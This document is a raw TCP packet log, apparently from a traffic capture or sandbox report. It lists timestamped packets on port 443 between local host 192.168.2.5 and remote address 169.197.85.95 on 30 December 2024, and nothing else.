Dec 30, 2024 16:17:43.565642118 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565649033 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565701962 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565717936 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565725088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565757036 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565767050 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565800905 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565814972 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565820932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565835953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565850019 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565957069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565988064 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.565990925 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.565999031 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.566001892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.566046000 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.566047907 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.566047907 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.566056967 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.566098928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.566121101 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.566128969 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.566144943 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.566294909 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.590471029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.590507984 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.590564013 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.590572119 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.590581894 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.590624094 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650520086 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650569916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650605917 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650609970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650620937 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650626898 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650660038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650666952 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650676966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650703907 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650718927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650718927 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650727987 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650753975 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650762081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650798082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650826931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650832891 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650844097 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650888920 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650933981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650963068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.650968075 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650979042 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.650980949 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651026964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651038885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651067019 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651112080 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651128054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651148081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651194096 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651197910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651204109 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651245117 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651339054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651376963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651380062 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651391029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651432037 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651452065 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651499033 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651504993 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651552916 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651559114 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651568890 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651588917 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651613951 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651675940 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651683092 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651694059 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651746035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651746035 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651752949 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651770115 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651802063 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651813030 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651829004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651882887 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651890993 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651926041 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651943922 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.651948929 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.651961088 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652021885 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652062893 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652064085 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652074099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652107000 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652159929 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652208090 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652218103 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652245998 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652278900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652322054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652322054 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652328014 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652359962 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652359962 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652369976 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652394056 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652415991 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652465105 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.652470112 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.652633905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.676858902 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.676896095 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.676918030 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.676928997 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.676959991 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.677000999 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736757994 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736840963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736851931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736862898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736881018 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736891031 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736907959 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736913919 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736933947 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736934900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736978054 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.736993074 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.736999035 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737021923 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737021923 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737085104 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737092018 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737169981 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737209082 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737222910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737232924 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737251997 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737266064 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737277031 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737283945 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737307072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737318039 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737339020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737354040 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737360954 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737380981 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737504005 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737557888 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737562895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737610102 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737653971 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737659931 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737670898 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737710953 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737718105 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737724066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737750053 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737751961 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737812996 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737829924 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737835884 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737868071 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737898111 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737946987 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737960100 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.737966061 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.737997055 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738022089 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738065004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738070011 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738078117 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738126993 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738184929 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738231897 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738245964 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738250971 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738270044 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738276958 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738310099 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738320112 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738467932 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738501072 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738517046 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738523960 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738554001 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738559008 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738571882 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738578081 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738600969 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738605976 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738658905 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.738661051 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738672018 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.738745928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.763153076 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.763190031 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.763247013 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.763254881 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.763266087 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.816927910 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823111057 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823298931 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823322058 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823368073 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823385954 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823396921 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823407888 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823411942 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823456049 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823466063 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823472023 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823493958 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823503017 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823534966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823543072 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823549032 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823571920 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.823589087 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823831081 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.823836088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824001074 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824053049 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824076891 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824083090 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824094057 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824105978 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824127913 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824131966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824141026 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824162960 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824179888 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824189901 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824194908 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824232101 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824268103 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824274063 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824284077 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824285030 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824327946 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824373960 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824373960 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824383020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824392080 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824426889 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824434996 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824440956 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824485064 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824485064 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824549913 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824593067 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824601889 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824608088 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824626923 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824639082 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824644089 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824687004 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824702024 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824728966 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824750900 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824757099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824764967 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824775934 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824831009 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824834108 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824896097 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824934006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824968100 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824974060 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.824981928 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.824989080 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825026989 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.825032949 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825042963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825052023 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.825083017 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825098038 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.825105906 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825143099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825164080 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.825170040 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.825191021 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.825253010 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.849428892 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.849559069 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.849638939 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.849646091 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.849730015 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.909375906 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909416914 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909537077 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909569979 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909585953 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.909599066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909609079 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909648895 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909671068 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.909678936 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.909708977 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.909722090 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910185099 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910234928 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910243034 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910248995 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910274029 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910281897 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910295963 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910300970 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910315037 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910346985 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910357952 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910398006 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910408974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910408974 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910422087 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910459042 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910459042 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910459042 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910470963 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910511017 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910526991 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910557032 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910562038 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910582066 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910619020 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910633087 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910639048 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910686970 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910686970 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910727978 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910775900 CET	443	57860	169.197.85.95	192.168.2.5
Dec 30, 2024 16:17:43.910789013 CET	57860	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:17:43.910794020 CET	443	57860	169.197.85.95	192.168.2.5
